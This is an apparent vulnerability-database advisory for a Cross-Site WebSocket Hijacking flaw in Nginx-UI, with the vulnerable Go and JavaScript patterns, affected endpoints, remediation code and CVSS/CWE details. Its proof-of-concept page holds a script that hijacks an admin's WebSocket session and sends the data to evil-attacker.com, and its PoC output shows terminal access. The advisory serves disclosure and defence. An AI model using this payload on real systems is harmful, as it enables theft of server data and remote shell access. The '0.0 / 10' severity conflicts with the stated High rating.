GHSA-78mf-482w-62qj CVE-2026-34403 GO-2026-5210
Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.18%
- Chance of exploitation in the next 30 days. Higher than 7.05% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
1.9.10-0.20260316053337-1a9cd29a3082- Upgrade github.com/0xJacky/Nginx-UI to this version or later
Description
Summary
All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.
Details
Vulnerable Code Pattern
Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:
// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,
// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,
// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,
// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // Accepts ALL origins
},
}
Cookie-Based Authentication
The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):
watch(token, v => {
cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite
})
The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):
func getToken(c *gin.Context) (token string) {
// ...
if token, _ = c.Cookie("token"); token != "" {
return token
}
return ""
}
Affected Endpoints
All WebSocket endpoints under the authenticated router group are vulnerable:
| Endpoint | Impact |
|---|---|
| /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration |
| /api/events | Leak system processing events |
| /api/analytic/intro | Leak CPU, memory, disk, network statistics |
| /api/nginx_log | Read nginx log files (access/error logs) |
| /api/pty | Interactive terminal access (RCE if OTP not enabled) |
| /api/upgrade/perform | Trigger system binary upgrade |
| /api/cluster/nodes/enabled | Leak and manipulate cluster node data |
PoC
Environment Setup
services:
nginx-ui:
image: uozi/nginx-ui:latest
ports:
- "9000:80"
volumes:
- nginx-ui-config:/etc/nginx-ui
volumes:
nginx-ui-config:
Attack Page (hosted on attacker-controlled domain)
<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
console.log('Stolen data:', e.data);
fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>
Automated PoC Results
[+] VULNERABLE! WebSocket connected from http://evil-attacker.com
[+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}}
[+] VULNERABLE! Event stream from http://evil-attacker.com
[+] Received: {"event":"processing_status","data":{"index_scanning":false,...}}
[+] VULNERABLE! Analytics from http://evil-attacker.com
[+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...}
[+] CRITICAL: Terminal connected from http://evil-attacker.com!
[+] Terminal output: 'eae7a76e3ef4 login: '
[*] Sent username: root
[+] Output: 'Password: '
[+] Control test (no auth): Correctly rejected with HTTP 403
Impact
An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:
- Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events
- Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens
- Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution
- Triggers system operations -- including nginx reload/restart and binary upgrades
The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.
Remediation
- Implement proper origin validation in all WebSocket upgraders:
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
return isAllowedOrigin(origin)
},
}
- Set secure cookie attributes:
cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })
- Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.
A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20260316053337-1a9cd29a3082 |
1.9.10-0.20260316053337-1a9cd29a3082 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/0xJacky/Nginx-UI Go → 1.9.10-0.20260316053337-1a9cd29a3082
- go
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260316053337-1a9cd29a3082 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- Passive
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- Low
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- Low
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-1385: Missing Origin Validation in WebSockets
The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.
How to prevent it
- Implementation: Enable CORS-like access restrictions by verifying the 'Origin' header during the WebSocket handshake.
- Implementation: Use a randomized CSRF token to verify requests.
- Implementation: Use TLS to securely communicate using 'wss' (WebSocket Secure) instead of 'ws'.
- Architecture and Design, Implementation: Require user authentication prior to the WebSocket connection being established. For example, the WS library in Node has a 'verifyClient' function.
- Implementation: Leverage rate limiting to prevent against DoS. Use of the leaky bucket algorithm can help with this.
- Implementation: Use a library that provides restriction of the payload size. For example, WS library for Node includes 'maxPayloadoption' that can be set.
- Implementation: Treat data/input as untrusted in both directions and apply the same data/input sanitization as XSS, SQLi, etc.
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6773 Nginx UI: Casdoor SSO callback uses a constant `state` parameter (login CSRF) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-vc32-4gwf-77xp Nginx UI: OTP secure-session step-up can be bypassed via MCP configuration tools | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-wq4w-vwvq-q3x9 Nginx UI: Standalone short tokens survive administrative revocation in cache and authenticate again after account re-enable | Medium | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-jrq7-xrjx-pcfw Nginx UI: Auto backup name allows path traversal outside validated storage path | Medium | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-5r62-gj48-897x Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-9jww-cxg5-rj9m Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-76pm-mq2q-9gcr Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-cf23-7qxj-xmhr Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image) | High | Also affects github.com/0xJacky/Nginx-UI |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor